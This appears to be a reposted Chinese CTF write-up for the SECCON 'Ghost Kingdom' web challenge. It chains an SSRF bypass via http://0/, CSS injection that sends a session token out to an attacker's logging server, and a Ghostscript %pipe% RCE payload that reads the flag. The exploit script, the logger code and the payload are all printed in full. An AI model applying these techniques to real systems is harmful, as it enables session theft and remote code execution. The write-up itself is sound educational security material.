内容简介:题目链接:访问链接后的提示如下:首先是一个登录界面:
题目链接:
http://ghostkingdom.pwn.seccon.jp/FLAG/
访问链接后的提示如下:
FLAG is somewhere in this folder. GO TO TOP
首先是一个登录界面:
一通操作后发现没有注入,所以跟着逻辑注册登录继续往下看。
登录后发现侧面有三个功能,但是上传功能被禁止了,标识只有从本地登录才可以使用。尝试修改xxf等方式并没有成功,所以猜测可能是cookie认证问题?
但或者上传处不是关键点,先从上面两个功能开始测试。首先测试 Message to admin
,刚开始猜测可能此处会不会有一个xss bot,打个cookie回来。虽然这个输入框也不存在xss,也没有bot周期性地戳一下,但是在burp抓包中分析到一个css参数可控。联想到可能是CSS 注入读数据这个点,但是我还缺少一个从本地戳戳戳的bot!
此处我们decode一下这个base64可以看到是控制此处的输出样式。
zeroyu@zeros ~/Desktop echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -D span{background-color:red;color:yellow}
点击send to admin之后我看到一个csrf参数(有用?)
好像无法但从这一个点入手,所以我决定看看 Take a screenshot
。
很明显是一个ssrf,不过file等协议都被限制了,302跳转好像也没开。虽然限制了127等,但是我们可以通过访问 http://0/
绕过,结果还是有惊喜的。
PS:扫描过程中发现了一个有趣的东西
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi
小结:
本来我以为这题是三个点分别突破都可以获取flag,但现在看来不行,真是继承了KeigoYAMAZAKI一贯的出题风格,要综合以上信息,构造利用链来读取flag
0x01 解题步骤
首先 Take a screenshot
处的ssrf可以让我们从 local network
那里进行登录,登录之后可以操作 Upload image
。
但是仅通过这个有限制的ssrf无法进一步利用了。所以换一个角度考虑,如果我们能够从 local network
获取 CGISESSID
在 from internet
进行登录就可以使用 Upload image
功能了呢?
有了这个思路接下来就是获取 CGISESSID
了,联想到 Message to admin
还有一个css inject可以用来读取数据,所以就可以ssrf+css inject联合来获取 CGISESSID
。
此处可以参考: Reading Data via CSS Injection
服务器上使用 php 开个服务器来记录数据
php -S 0.0.0.0:2333
对应的目录下可以放置如下log.php来帮助记录
<?php date_default_timezone_set('Asia/Shanghai'); $ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip $filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名 $parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数 $time = date('Y-m-d H:i:s',time()); //访问时间 $logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n"; // log记录 $fh = fopen("log.txt", "a"); fwrite($fh, $logadd); fclose($fh); ?>
利用脚本如下:
import base64 CHARLIST = "0123456789" + "abcdef" URL = "http://0/?msg=master&action=msgadm2&css=" # known = "bcc703c0693e6eff894ede" buf = "" for char in CHARLIST: buf += """input[name="csrf"][value^="{}"] {{ background: url(http://your server ip/log.php/{}); }}""".format(known+char,known+char) print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))
最终可以获取 CGISESSID
的值
之后在浏览器中设置上我们获得的 CGISESSID
,就可以使用 Upload image
功能了。
测试一下
发现有个 Convert to GIF format
结合之前我们发现的 ghostMagick.cgi
很容易想到Ghostscript的rce漏洞。我们将以下代码保存为jpg,上传可以得flag。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
SECCON{CSSinjection+GhostScript/ImageMagickRCE}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Introduction to Tornado
Michael Dory、Adam Parrish、Brendan Berg / O'Reilly Media / 2012-3-28 / USD 23.99
Tornado is a scalable, non-blocking web server and web application framework written in Python. It is also light-weight to deploy, fun to write for, and incredibly powerful. Tornado was written with p......一起来看看 《Introduction to Tornado》 这本书的介绍吧!